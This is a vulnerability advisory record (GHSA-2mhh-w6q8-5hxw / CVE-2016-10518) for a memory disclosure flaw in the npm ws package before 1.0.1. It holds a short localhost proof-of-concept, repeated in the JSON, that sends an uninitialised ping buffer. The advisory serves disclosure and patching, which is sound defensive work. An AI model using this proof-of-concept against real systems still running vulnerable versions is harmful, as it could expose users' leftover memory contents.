ghsa-2mhh-w6q8-5hxw
Vulnerability from github
Published
2019-02-18 23:56
Modified
2020-08-31 18:09
Summary
Remote Memory Disclosure in ws
Details

Versions of ws prior to 1.0.1 are affected by a remote memory disclosure vulnerability.

In certain rare circumstances, applications which allow users to control the arguments of a client.ping() call will cause ws to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.

Proof of Concept

``` var ws = require('ws')

var server = new ws.Server({ port: 9000 }) var client = new ws('ws://localhost:9000')

client.on('open', function () { console.log('open') client.ping(50) // this sends a non-zeroed buffer of 50 bytes

client.on('pong', function (data) { console.log('got pong') console.log(data) // Data from the client. }) }) ```

Recommendation

Update to version 1.0.1 or greater.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-10518"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T20:52:34Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "Versions of `ws` prior to 1.0.1 are affected by a remote memory disclosure vulnerability.\n\nIn certain rare circumstances, applications which allow users to control the arguments of a `client.ping()` call will cause `ws` to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.\n\n\n\n## Proof of Concept\n```\nvar ws = require(\u0027ws\u0027)\n\nvar server = new ws.Server({ port: 9000 })\nvar client = new ws(\u0027ws://localhost:9000\u0027)\n\nclient.on(\u0027open\u0027, function () {\n  console.log(\u0027open\u0027)\n  client.ping(50) // this sends a non-zeroed buffer of 50 bytes\n\n  client.on(\u0027pong\u0027, function (data) {\n    console.log(\u0027got pong\u0027)\n    console.log(data) // Data from the client. \n  })\n})\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.1 or greater.",
  "id": "GHSA-2mhh-w6q8-5hxw",
  "modified": "2020-08-31T18:09:55Z",
  "published": "2019-02-18T23:56:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10518"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/29293ed11b679e0366fa0f6bb9310b330dafd795"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/c0nrad/e92005446c480707a74a"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-2mhh-w6q8-5hxw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/releases/tag/1.0.1"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/67"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Remote Memory Disclosure in ws"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…